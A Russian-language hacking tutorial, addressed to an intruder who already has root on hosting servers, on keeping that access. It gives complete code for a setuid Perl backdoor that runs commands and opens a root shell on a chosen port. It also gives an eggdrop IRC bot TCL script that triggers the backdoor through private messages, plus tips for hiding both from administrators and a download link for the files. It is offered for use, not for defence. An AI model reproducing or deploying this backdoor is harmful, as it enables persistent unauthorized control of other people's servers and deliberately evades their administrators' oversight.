Привет хакер, за спиной которого сотни порутанных систем. Скажи мне по секрету, сколько времени держится бэкдор на порутанном тобой хостинге? День? Неделю? Две недели??! Да тебе просто повезло, чувак, потому как админы там не дремлют, а следят за своими процессами ;).
Сегодня я помогу тебе удержать рута на максимально долгий сроки. Дело в том, что на платных хостингах всегда крутятся боты eggdrop (ну любят их юзеры, что ж поделать то)... Они нам и помогут для мокрого дела.
Локальный бэкдор, я думаю, будет заметить трудно, пусть он будет даже суидный. Этот базовый бэкдор будет исполнять команды через бота. Не мудрено, что сейчас ты не видишь связи eggdrop и локального файла, но скоро все поймешь. Сделаем, чтобы хацкер
(то есть ты ;)) мог быстро выполнять команды через eggdrop, а также прослушивать порт лишь на некоторое время.
Раз файл будет суидный, то и исполнять его будет suidperl. Ах да :), я не сказал тебе, что бэкдор будет на perl. Конечно, написать его на C было бы рациональнее, но у меня на это бы ушло порядка двух часов (ну торможу я в С, что тут поделать? Перловик, я, перловик :)). Поэтому, довольствуйся тем, что есть. Более того, наличие perl-интерпретатора более вероятно, чем gcc, что придает моему бэкдору излишнюю универсальность.
Итак, поехали. Мутим файл bd.pl, который будет выполнять две задачи - быстро исполнять команды, а также открывать порт на одну сессию.
#!/usr/bin/suidperl -U ## Интерпретатор suidperl без проверки
taint.
## Part one: bd.pl
use IO::Socket; ## Юзаем сокеты
use Getopt::Std; ## И Getopt (для удобства)
getopt("cr"); ## Ловим параметры: '-c' - простая команда и '-r' - открытие рут-шелла
system("$opt_c")
if ($opt_c); ## Выполним команду без возврата результата, если параметр
'-c'
if ($opt_r) { ## Если -r
$sock=IO::Socket::INET->new(Proto=>'tcp',
LocalAddr=>'0.0.0.0',LocalPort=>$opt_r,
Listen=>10) || die "cant listen\n"; ## Открываем сокет на всех интерфейсах машины и на порту, указанном в параметре
while($client=$sock->accept) { ## Когда клиент прицепится...
print $client "Welcome, master!\n"; ## Поприветствуем
его
while(1) { ## Создадим бесконечный цикл для исполнения команд
$cmd=<$client>; ## Ловим команду из STDIN клиента
if($cmd=~/exit/) { close $sock; exit } ## Если команда exit - рушим сокет и выходим из скрипта
$answ=`$cmd`; ## Иначе исполняем ее
print $client $answ; ## И показываем ответ
}
exit; ## Выход... На всякий случай
}
Вот такой простой скрипт. Понять тут можно все, лишь скажу о Taint-проверке, которая игнорируется опцией интерпретатора -U. Дело в том, что если запустить суидный скрипт, в котором содержится какие-либо пути, он не выполнится. Нам это нафиг не надо, поэтому игнорируем проверку.
Что дальше? Пихаем этот файл в глубинную директорию и ставим на него суид, командой chmod 4755 /path/to/bd.pl. И делаем владельца файла root (chown root /path/to/bd.pl). На этом первая часть закончена.
Перейдем к eggdrop. Выберем какую-либо жертву и узнаем на каком сервере она обитает. Это можно сделать путем анализа eggdrop.conf на предмет блока set servers {}. Коннетимся, проверяем, что бот на месте и мы имеем доступ к его привату. Как ты догадался, принимать команды он будет через приват.
Ни для кого не секрет, что язык, на котором пишут скрипты для eggdrop - это TCL. Я не раз писал, как кодить простенькие скрипты для него, сегодня мы повторим материал ;). Вторая часть будет отдавать команды локальному бэкдору, который без проблем их исполнит. Создадим какой-нибудь файл (например, script.tcl) с учетом, что uid, под которым запущен ботик, сможет прочитать этот файл.
Сам test.tcl будет следующего содержания.
## Part two: test.tcl, script for
eggdrop.
set bd "/deep/dir/with/bd.pl" ## Укажем путь к bd.pl
bind msg - df do_shell ## Забиндим приватное сообщение df на процедуру do_shell
proc do_shell {nick uhost hand arg} { ## Собственно, процедура
global bd ## Глобализуем переменную bd
set task [lindex $arg 0] ## Установим ключевое слово root на открытие рут-шелла
if {$task == "root"} { ## И если оно совпадает...
set port [lindex $arg 1] ## Вылавливаем порт
if {[catch {exec $bd -r $port} 0]} { ## Ловим возврат нашей команды. Собственно, запуск бэкдора в режиме прослушивания
putserv "PRIVMSG $nick :Failed exec backdoor" ## Если неудача - сообщаем об этом
}
}
if {$task == "cmd"} { ## Если команда - cmd
set cmd [lrange $arg 1 end] ## Ловим команду
if {[catch {exec $bd -c "$cmd"} 0]} { ## И исполняем ее, аналогично первому случаю.
putserv "PRIVMSG $nick :Failed exec backdoor"
}
}
putserv "PRIVMSG $nick :Request was sent" ## Финализируем скрипт сообщением о послании запроса.
Как видишь, ничего сложного. Если бы я впервые увидел этот скрипт, то задал бы ряд вопросов. Так что, отвечу на них сейчас ;).
Почему я выбрал bind на df? Дело в том, что если посмотреть список биндов на partyline, то мы увидим следующую картину (на примере моего бота):
msg -|- !sms 0 send_sms
msg -|- !talker 0 ::talker::talker_msg
msg mn|- !add 0 ::talker::gettalk
msg -|- country 0 msg_country
msg -|- chanstats 0 bs_msgchanstats
msg -|- seenstats 0 bs_msgstats
msg -|- seennick 0 bs_msgreq2
msg -|- icq 0 msg_setuserinfo
msg -|- phone 0 msg_setuserinfo
msg -|- gf 0 msg_setuserinfo
msg -|- bf 0 msg_setuserinfo
msg -|- url 0 msg_setuserinfo
Я думаю, админ бота не догадается, если мы вставим бинд и на df ;). Можно максимально замаскировать скрипт, переименовав процедуру do_shell, например, в msg_setuserinfo.
Следующий вопрос. Как подгрузить этот скрипт? Все очень просто. По дефолту строчка, записанная в eggdrop.conf вида tcl source /path/to/test.tcl перечитает этот скрипт. Но кидать строку в конф было бы слишком заметно... Рациональнее бы было записать ее в другой, юзаемый ботом скрипт, который по логике не просмотрит админ. Советую тебе сделать это.
Ну и напоследок. Как юзать? Записываем строку загрузки скрипта, делаем kill -1 процесс_бота и тестируем в привате.
df root порт откроет rootshell на заданном порту. Но будь внимателен, задавай только численные порты, иначе бот может свалиться в оффлайн :).
df cmd команда. Выполнит команду "вслепую" (без возврата ответа).
Скачать bd.pl и test.tcl в одном архиве ты можешь с моего сайта
http://kamensk.net.ru/forb/1/bd_test.tar.gz. И надеюсь, тебя не запалят на хостингах ;).